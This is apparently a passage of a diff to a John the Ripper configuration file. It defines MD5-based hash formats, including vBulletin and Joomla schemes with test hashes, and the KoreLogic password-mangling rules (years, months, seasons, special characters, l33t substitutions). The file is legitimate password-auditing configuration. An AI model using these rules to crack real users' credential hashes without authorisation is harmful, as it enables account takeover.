-[List.Generic:md5_gen(1003)] -# expression shown will be the string: md5_gen(1003) md5(md5($p).md5($p)) -Expression=md5(md5($p).md5($p)) -# NOTE, this format does NOT work on SSE2. It requires a md5() of a 64 byte string. -# SSE (or MMX) is limtited to 54 byte max password, due to 'enhancements' -# Thus, we need a non-sse2 safe flag. -Flag=MGF_NOTSSE2Safe -Flag=MGF_KEYS_INPUT -# here is the optimized 'script' to perform hash 'like' IPB but salt replaced with password. -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -# These are test strings for this format. -Test=md5_gen(1003)478b10974f15e7295883224fd286ccba:test1 -Test=md5_gen(1003)18a59101e6c6fb38260d542a394ecb22:thatsworking -Test=md5_gen(1003)630b01b68b6db6fd43a751f8147d1faf:test3 - -#################################################################### -# Simple GENERIC-MD5 type for md5($p)^^6 (i.e. 6 steps of md5 recursively) -#################################################################### -[List.Generic:md5_gen(1004)] -# expression shown will be the string: md5_gen(1004) md5(md5(md5(md5(md5(md5($p)))))) -Expression=md5(md5(md5(md5(md5(md5($p)))))) -Flag=MGF_KEYS_INPUT -# here is the optimized 'script' to perform the md5 6 times on itself. -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -# These are test strings for this format. -Test=md5_gen(1004)de1b991dd27fb9813e88b957a455dccd:test1 -Test=md5_gen(1004)6a62cd3c4d81139f61fb2553cdef0dc7:thatsworking -Test=md5_gen(1004)a977990e521c5d1d17c6d65fdf2681b4:test3 - - -#################################################################### -# Simple GENERIC-MD5 type for md5($p)^^7 (i.e. 7 steps of md5 recursively) -#################################################################### -[List.Generic:md5_gen(1005)] -# expression shown will be the string: md5_gen(1005) md5(md5(md5(md5(md5(md5(md5($p))))))) -Expression=md5(md5(md5(md5(md5(md5(md5($p))))))) -Flag=MGF_KEYS_INPUT -# here is the optimized 'script' to perform the md5 7 times on itself. -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -# These are test strings for this format. -Test=md5_gen(1005)784c527d0d92873ff9c0773e1c35621d:test1 -Test=md5_gen(1005)efcbbe6331caecf0e7f40160e65aadcc:thatsworking -Test=md5_gen(1005)abb8bdd2c6ac2dfea2b2af6f5aed5446:test3 - -#################################################################### -# Simple GENERIC-MD5 type for md5($p)^^8 (i.e. 8 steps of md5 recursively) -#################################################################### -[List.Generic:md5_gen(1006)] -# expression shown will be the string: md5_gen(1006) md5(md5(md5(md5(md5(md5(md5(md5($p)))))))) -Expression=md5(md5(md5(md5(md5(md5(md5(md5($p)))))))) -Flag=MGF_KEYS_INPUT -# here is the optimized 'script' to perform the md5 8 times on itself. -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -# These are test strings for this format. -Test=md5_gen(1006)1ec1f32398f64cab51183f63630eceea:test1 -Test=md5_gen(1006)f66b339ac21d6fd6af216f2b70aab2c9:thatsworking -Test=md5_gen(1006)e9d38522b5eeec753332e576e2e0fe5d:test3 - -#################################################################### -# Simple GENERIC-MD5 type for vBulletin md5(md5($p).$s) Included here to 'exercise' the script parser -#################################################################### -[List.Generic:md5_gen(1007)] -# expression shown will be the string: md5_gen(1007) md5(md5($p).$s) [vBulletin] -Expression=md5(md5($p).$s) [vBulletin] -# Flag needed here, is Salt. There is no 'fixed' saltlen. -Flag=MGF_SALTED -Flag=MGF_ColonNOTValid -Flag=MGF_KEYS_BASE16_IN1 -# vBulletin has a 'fixed' 3 byte salt, so list the fixed size -SaltLen=3 -ColonChar=; -# here is the optimized 'script' to perform vBulletin hash -Func=MD5GenBaseFunc__set_input_len_32 -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__crypt -# NOTE, vBulletin is setup to 'override' the ':'. USUALLY, it is good to use something -# outside of the ASCII values from 0x20 to 0x7F. 0x1F is a 'good' choice, but it will -# cause john.conf to have a 'non-normal' ASCII char. Thus for this 'simple' example, I -# have used the ';' character. NOTE this would have the same 'problems' as the ':' character -# if used for real, since ; is also a valid character within the salt of vBulletin. -# NOTE to run, you MUST use the command line switch: -field-separator-char=; -Test=md5_gen(1007)daa61d77e218e42060c2fa198ac1feaf$SXB;test1 -Test=md5_gen(1007)de56b00bb15d6db79204bd44383469bc$T &;thatsworking -Test=md5_gen(1007)fb685c6f469f6e549c85e4c1fb5a65a6$\\H:;test3 - -#################################################################### -# Simple GENERIC-MD5 type for joomla md5($p.$s) Included here to 'exercise' the script parser -#################################################################### -[List.Generic:md5_gen(1008)] -# expression shown will be the string: md5_gen(1008) md5($p.$s) [joomla] -Expression=md5($p.$s) [joomla] -# Flag needed here, is Salt. There is no 'fixed' saltlen. -Flag=MGF_SALTED -# here is the optimized 'script' to perform the md5 8 times on itself. -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1008)ed52af63d8ecf0c682442dfef5f36391$1aDNNojYGSc7pSzcdxKxhbqvLtEe4deG:test1 -Test=md5_gen(1008)4fa1e9d54d89bfbe48b4c0f0ca0a3756$laxcaXPjgcdKdKEbkX1SIjHKm0gfYt1c:thatsworking -Test=md5_gen(1008)82568eeaa1fcf299662ccd59d8a12f54$BdWwFsbGtXPGc0H1TBxCrn0GasyAlJBJ:test3 - - -[List.Rules:KoreLogicRules] - -;[List.Rules:KoreLogicRulesPrependNumNum] --[c:] \p[c:] A0"[0-9][0-9]" - -;[List.Rules:KoreLogicRulesPrependYears] -A0"20[0-1][0-9]" -A0"19[3-9][0-9]" - -# Notice: Your wordlist should likely be all lowercase - or you are wasting work -;[List.Rules:KoreLogicRulesAppendYears] --[c:] \p[c:] Az"19[0-9][0-9]" <+ --[c:] \p[c:] Az"20[01][0-9]" <+ - -;[List.Rules:KoreLogicRulesPrependNumNumNum] --[c:] \p[c:] A0"[0-9][0-9][0-9]" - -;[List.Rules:KoreLogicRulesMonthsFullPreface] --[:c] A0"\p[jJ]anuary" --[:c] A0"\p[fF]ebruary" --[:c] A0"\p[mM]arch" --[:c] A0"\p[aA]pril" --[:c] A0"\p[mM]ay" --[:c] A0"\p[jJ]uner" --[:c] A0"\p[jJ]uly" --[:c] A0"\p[aA]ugust" --[:c] A0"\p[sS]eptember" --[:c] A0"\p[oO]ctober" --[:c] A0"\p[nN]ovember" --[:c] A0"\p[dD]ecember" - -;[List.Rules:KoreLogicRulesPrepend4LetterMonths] -## Preface each dictionary with Janu janu Febr febr --[:c] A0"\p[jJ]anu" --[:c] A0"\p[fF]ebr" --[:c] A0"\p[mM]arc" --[:c] A0"\p[aA]pr" --[:c] A0"\p[mM]ay" --[:c] A0"\p[jJ]une" --[:c] A0"\p[jJ]uly" --[:c] A0"\p[Aa]ugu" --[:c] A0"\p[sS]ept" --[:c] A0"\p[oO]cto" --[:c] A0"\p[nN]ove" --[:c] A0"\p[Dd]ece" - -# Use this rule with 2EVERYTHING.dic or 3EVERYTHING.dic -;[List.Rules:KoreLogicRulesPrependSeason] -A0"[Ss$][uU][mM][mM][eE3][rR]" -A0"[Ww][iI|][nN][tT+][eE3][rR]" -A0"[Ff][aA][lL][lL]" -A0"[Ss][pP][rR][iI][nN][gG]" -A0"[Aa][uU][tT][uU][mM][nN]" - -# Use this rule with 2EVERYTHING.dic or 3EVERYTHING.dic -;[List.Rules:KoreLogicRulesAppendSeason] -<* Az"[Ss$][uU][mM][mM][eE3][rR]" -<* Az"[Ww][iI|][nN][tT+][eE3][rR]" -<* Az"[Ff][aA][lL][lL]" -<* Az"[Ss][pP][rR][iI][nN][gG]" -<* Az"[Aa][uU][tT][uU][mM][nN]" - -;[List.Rules:KoreLogicRulesPrependHello] -A0"[hH][eE][lL][lL][oO0]" - -# Notice how we -# 1) do caps first b/c they are more common in 'complex' environments -# 2) Do !$@#%. first b/c they are the most common special chars -;[List.Rules:KoreLogicRulesAppendCurrentYearSpecial] --[c:] \p[c:] Az"201[0-9][!$@#%.]" <+ --[c:] \p[c:] Azq201[0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ - -;[List.Rules:KoreLogicRulesPrependSpecialSpecial] --[c:] \p[c:] A0q[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q - -;[List.Rules:KoreLogicRulesAppend2Letters] -<- Az"[a-z][a-z]" --c <- Az"[A-Z][A-Z]" --c <- Az"[a-z][A-Z]" --c <- Az"[A-Z][a-z]" - -# Append numbers - but limit the total length. -;[List.Rules:KoreLogicRulesAddJustNumbers] --[c:] <* >1 \p[c:] $[0-9] --[c:] <* >1 \p[c:] ^[0-9] --[c:] <- >1 \p[c:] Az"[0-9][0-9]" --[c:] <- >1 \p[c:] A0"[0-9][0-9]" --[c:] >1 \p[c:] Az"[0-9][0-9][0-9]" <+ -# Redundant with KoreLogicRulesAppend4Num -;-[c:] >1 \p[c:] Az"[0-9][0-9][0-9][0-9]" <+ - -;[List.Rules:KoreLogicRulesDevProdTestUAT] --\r[::cc] <* A\p\r[0l0l]"dev" \p\r[::TT]\p\r[::0l] --\r[::cc] <* A\p\r[0l0l]"uat" \p\r[::TT]\p\r[::0l] --\r[::cc] <* A\p\r[0l0l]"prod" \p\r[::TT]\p\r[::0l] --\r[::cc] <* A\p\r[0l0l]"test" \p\r[::TT]\p\r[::0l] - -;[List.Rules:KoreLogicRulesPrependAndAppendSpecial] --[c:] <- \p[c:] ^[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] - -# Redundant with KoreLogicRulesAddJustNumbers and KoreLogicRulesAppend4Num -;[List.Rules:KoreLogicRulesAppendJustNumbers] -;-[c:] <* \p[c:] $[0-9] -;-[c:] <- \p[c:] Az"[0-9][0-9]" -;-[c:] \p[c:] Az"[0-9][0-9][0-9]" <+ -;-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9]" <+ - -;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple] -# cap first letter then add a 0 2 6 9 ! * to the end --[c:] <* \p[c:] $[0-9!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] -# cap first letter then add a special char - THEN a number !0 %9 !9 etc --[c:] <- \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9]q -# Cap the first letter - then add 0? 0! 5_ .. 9! -## add NUMBER then SPECIAL 1! .. 9? --[c:] <- \p[c:] Azq[0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q -## Add Number Number Special -;-[c:] \p[c:] Azq[0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ -## Add Special Number Number -;-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+ -# Add 100! ... 999! to the end -;-[c:] \p[c:] Azq[0-9][0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ - -;[List.Rules:KoreLogicRulesAppendJustSpecials] --[c:] <* \p[c:] $[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] --[c:] <- \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q - -;[List.Rules:KoreLogicRulesAddShortMonthsEverywhere] -<* >\r[00123456789] A\p[z0-9]"[jJ][aA][nN]" -<* >\r[00123456789] A\p[z0-9]"[fF][eE][bB]" -<* >\r[00123456789] A\p[z0-9]"[mM][aA][rRyY]" -<* >\r[00123456789] A\p[z0-9]"[aA][pP][rR]" -<* >\r[00123456789] A\p[z0-9]"[jJ][uU][nNlL]" -<* >\r[00123456789] A\p[z0-9]"[aA][uU][gG]" -<* >\r[00123456789] A\p[z0-9]"[sS][eE][pP]" -<* >\r[00123456789] A\p[z0-9]"[oO][cC][tT]" -<* >\r[00123456789] A\p[z0-9]"[nN][oO][vV]" -<* >\r[00123456789] A\p[z0-9]"[dD][eE][cC]" - -# this will add the string '2010' at all places in the word: -# USE this with a 4 or 5 char dictionary file with ALL characters -# soo abcde will become -# 2010abcde a2010bcde ab2010cde acd2010de abcd2010e abcde2010 -;[List.Rules:KoreLogicRulesAdd2010Everywhere] -<* >\r[00123456789] A\p[z0-9]"201[0-9]" - -;[List.Rules:KoreLogicRulesAdd1234_Everywhere] -<* >\r[00123456789] A\p[z0-9]"1234" - -;[List.Rules:KoreLogicRulesAppendMonthDay] --[:c] <* Az"\p[jJ]anuary" --[:c] Az"\p[jJ]anuary[0-9]" <+ --[:c] Az"\p[jJ]anuary[0-9][0-9]" <+ --[:c] <* Az"\p[fF]ebruary" --[:c] Az"\p[fF]ebruary[0-9]" <+ --[:c] Az"\p[fF]ebruary[0-9][0-9]" <+ --[:c] Az"\p[mM]arch" --[:c] Az"\p[mM]arch[0-9]" <+ --[:c] Az"\p[mM]arch[0-9][0-9]" <+ --[:c] <* Az"\p[aA]pril" --[:c] Az"\p[aA]pril[0-9]" <+ --[:c] Az"\p[aA]pril[0-9][0-9]" <+ --[:c] <* Az"\p[mM]ay" --[:c] Az"\p[mM]ay[0-9]" <+ --[:c] Az"\p[mM]ay[0-9][0-9]" <+ --[:c] <* Az"\p[jJ]une" --[:c] Az"\p[jJ]une[0-9]" <+ -# There was a typo in Kore's original revision of this rule --[:c] Az"\p[jJ]une[0-9][0-9]" <+ --[:c] <* Az"\p[jJ]uly" --[:c] Az"\p[jJ]uly[0-9]" <+ --[:c] Az"\p[jJ]uly[0-9][0-9]" <+ --[:c] <* Az"\p[aA]ugust" --[:c] Az"\p[aA]ugust[0-9]" <+ --[:c] Az"\p[aA]ugust[0-9][0-9]" <+ --[:c] <* Az"\p[sS]eptember" --[:c] Az"\p[sS]eptember[0-9]" <+ -# There was a typo in Kore's original revision of this rule --[:c] Az"\p[sS]eptember[0-9][0-9]" <+ --[:c] <* Az"\p[oO]ctober" --[:c] Az"\p[oO]ctober[0-9]" <+ --[:c] Az"\p[oO]ctober[0-9][0-9]" <+ --[:c] <* Az"\p[nN]ovember" --[:c] Az"\p[nN]ovember[0-9]" <+ --[:c] Az"\p[nN]ovember[0-9][0-9]" <+ --[:c] <* Az"\p[dD]ecember" --[:c] Az"\p[dD]ecember[0-9]" <+ --[:c] Az"\p[dD]ecember[0-9][0-9]" <+ - -;[List.Rules:KoreLogicRulesAppendMonthCurrentYear] --[:c] <* Az"\p[jJ]an201[0-9]" --[:c] <* Az"\p[fF]eb201[0-9]" --[:c] <* Az"\p[mM]ar201[0-9]" --[:c] <* Az"\p[aA]pr201[0-9]" --[:c] <* Az"\p[mM]ay201[0-9]" --[:c] <* Az"\p[jJ]un201[0-9]" --[:c] <* Az"\p[jJ]ul201[0-9]" --[:c] <* Az"\p[Aa]ug201[0-9]" --[:c] <* Az"\p[sS]ep201[0-9]" --[:c] <* Az"\p[oO]ct201[0-9]" --[:c] <* Az"\p[nN]ov201[0-9]" --[:c] <* Az"\p[Dd]ec201[0-9]" - -;[List.Rules:KoreLogicRulesReplaceNumbers2Special] -/[1-90] s\0\p[!@#$%^&*()] -/1 /[2-90] s1! s\0\p[@#$%^&*()] -/2 /[3-90] s2@ s\0\p[#$%^&*()] -/3 /[4-90] s3# s\0\p[$%^&*()] -/4 /[5-90] s4$ s\0\p[%^&*()] -/5 /[6-90] s5% s\0\p[^&*()] -/6 /[7-90] s6^ s\0\p[&*()] -/7 /[890] s7& s\0\p[*()] -/8 /[90] s8* s\0\p[()] -/9 /0 s9( s0) - -;[List.Rules:KoreLogicRulesReplaceNumbers] -/0 s0[1-9] -/1 s1[02-9] -/2 s2[013-9] -/3 s3[0-24-9] -/4 s4[0-35-9] -/5 s5[0-46-9] -/6 s6[0-57-9] -/7 s7[0-68-9] -/8 s8[0-79] -/9 s9[0-8] -# 10 lines above can be replaced with just one: -# /[0-9] s\0[0-9] Q -# but it's slower (generates, then rejects some duplicates). - -# This is a lamer/faster version of --rules:nt -;[List.Rules:KoreLogicRulesReplaceLettersCaps] --c /[a-z] s\0\p[A-Z] - -;[List.Rules:KoreLogicRulesAddDotCom] --[c:] <- \p[c:] Az".com" --[c:] <- \p[c:] Az".net" --[c:] <- \p[c:] Az".org" - -;[List.Rules:KoreLogicRulesPrependJustSpecials] --[c:] \p[c:] ^[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] --[c:] \p[c:] A0q[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q - -;[List.Rules:KoreLogicRulesAppend1_AddSpecialEverywhere] --[c:] >4 <- \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $1 --[c:] >[5-8] <- \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $1 - -;[List.Rules:KoreLogicRulesAppendNum_AddSpecialEverywhere] -# This should probably use $[02-9] since we try $1 in -# KoreLogicRulesAppend1_AddSpecialEverywhere --[c:] >4 <- \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[0-9] --[c:] >[5-8] <- \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[0-9] - -;[List.Rules:KoreLogicRulesAppendNumNum_AddSpecialEverywhere] --[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9]" <+ --[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9]" <+ - -;[List.Rules:KoreLogicRulesAppendNumNumNum_AddSpecialEverywhere] --[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9][0-9]" <+ --[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9][0-9]" <+ - -;[List.Rules:KoreLogicRulesAppendYears_AddSpecialEverywhere] --[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"19[4-9][0-9]" <+ --[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"20[0-1][0-9]" <+ --[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"19[4-9][0-9]" <+ --[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"20[0-1][0-9]" <+ - -# This rule needs work actually --- you have to 'sort -u' its output rick -# /a = reject if it doesnt have an 'a' -# the [:c] does waste some effort - and generate dupes. This is wasteful, -# but I want to keep it in b/c the original crack/JtR rules use it. -;[List.Rules:KoreLogicRulesL33t] --[:c] /\r[aaAAbBeEiiiIIIllll] s\0\r\p[@44@88331!|1!|17|!] \p1[:M] \p1[:c] \p1[:Q] -# The following line differs from Kore's erroneous 4 lines: --[:c] /\r[LLLL] s\0\r\p[17|!] \p1[:M] \p1[:c] \p1[:Q] -#/Lsl1[:c] -#/Lsl7[:c] -#/Lsl|[:c] -#/Lsl![:c] --[:c] /\r[oOssSStT1111003344557788] s\0\r\p[00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] -# Full set (same as above, but on one line): -#-[:c] /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] s\0\r\p[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] -# Double substitutions start here. -# Compared to Kore's, we check for both chars first, then replace both. -# This produces different results from Kore's, which would replace all -# instances of the first char before checking for the second. -# Kore's behavior may be restored by moving "sa[@4]" to be right after "/a" -# on the line below, and ditto for further lines. --[:c] /a /\r[AAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] sa[@4] s\2\r\p2[4@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] -# Kore had these (probably unintentionally, so we don't duplicate them): -#/asa4/4s4a[:c] -#/asa4/4s4A[:c] --[:c] /A /\r[aabBeEiiiIIIllllLLLLoOssSStT1111003344557788] sA4 s\0\r\p[@488331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] -# Kore also had these, but (intentionally?) missed sb8 on this set (after sA4) -#/AsA4/4s4a[:c] -#/AsA4/4s4A[:c] --[:c] /b /\r[aaAABeEiiiIIIllllLLLLoOssSStT1111003344557788] sb8 s\0\r\p[@44@8331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /B /\r[aaAAbeEiiiIIIllllLLLLoOssSStT1111003344557788] sB8 s\0\r\p[@44@8331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /e /\r[aaAAbBEiiiIIIllllLLLLoOssSStT1111003344557788] se3 s\0\r\p[@44@8831!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /E /\r[aaAAbBeiiiIIIllllLLLLoOssSStT1111003344557788] sE3 s\0\r\p[@44@8831!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /i /\r[aaAAbBeEIIIllllLLLLoOssSStT1111003344557788] si[1!|] s\2\r\p2[@44@88331!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /I /\r[aaAAbBeEiiillllLLLLoOssSStT1111003344557788] sI[1!|] s\2\r\p2[@44@88331!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] -# Kore's rules only included sl[17|], but not sl! --[:c] /l /\r[aaAAbBeEiiiIIILLLLoOssSStT1111003344557788] sl[17|!] s\2\r\p2[@44@88331|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] -# All "/L" rules (171 lines) were buggy --[:c] /L /\r[aaAAbBeEiiiIIIlllloOssSStT1111003344557788] sl[17|!] s\2\r\p2[@44@88331|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /o /\r[aaAAbBeEiiiIIIllllLLLLOssSStT1111003344557788] so0 s\0\r\p[@44@88331!|1!|17|!17|!0$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /O /\r[aaAAbBeEiiiIIIllllLLLLossSStT1111003344557788] sO0 s\0\r\p[@44@88331!|1!|17|!17|!0$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /s /\r[aaAAbBeEiiiIIIllllLLLLoOSStT1111003344557788] ss[$5] s\2\r\p2[@44@88331!|1!|17|!17|!00$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /S /\r[aaAAbBeEiiiIIIllllLLLLoOsstT1111003344557788] sS[$5] s\2\r\p2[@44@88331!|1!|17|!17|!00$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /t /\r[aaAAbBeEiiiIIIllllLLLLoOssSST1111003344557788] st+ s\0\r\p[@44@88331!|1!|17|!17|!00$5$5+!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /T /\r[aaAAbBeEiiiIIIllllLLLLoOssSSt1111003344557788] sT+ s\0\r\p[@44@88331!|1!|17|!17|!00$5$5+!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /1 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT003344557788] s1[!iI|] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /0 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11113344557788] s0[oO] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|eEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /3 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110044557788] s3[eE] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] -#-[:c] /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] s\0\r\p[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /4 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033557788] s4[aA] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEsSlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /5 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033447788] s5[sS] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAlLbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /7 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033445588] s7[lL] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSbB] \p1[:M] \p1[:c] \p1[:Q] --[:c] /8 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033445577] s8[bB] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlL] \p1[:M] \p1[:c] \p1[:Q] -# These are some popular triple/quad l33t rules --[:c] /a /e /[los] sa4 se3 s\0\p[10$] \p1[:M] \p1[:c] \p1[:Q] --[:c] /[ae] /l /[os] s\2\p2[43] sl1 s\3\p3[0$] \p1[:M] \p1[:c] \p1[:Q] --[:c] /[ae] /o /s s\2\p2[43] so0 ss$ \p1[:M] \p1[:c] \p1[:Q] --[:c] /l /o /s sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q] --[:c] /a /e /l /[os] sa4 se3 sl1 s\0\p[0$] \p1[:M] \p1[:c] \p1[:Q] --[:c] /a /[el] /o /s sa4 s\0\p[31] so0 ss$ \p1[:M] \p1[:c] \p1[:Q] --[:c] /e /l /o /s se3 sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q] --[:c] /a /e /l /o /s sa4 se3 sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q] - -;[List.Rules:KoreLogicRulesReplaceSpecial2Special] -# Kore's rules were missing "*" -/! s![@#$%^&*()\-=_+\\|;:'",./?><] -/@ s@[!#$%^&*()\-=_+\\|;:'",./?><] -/# 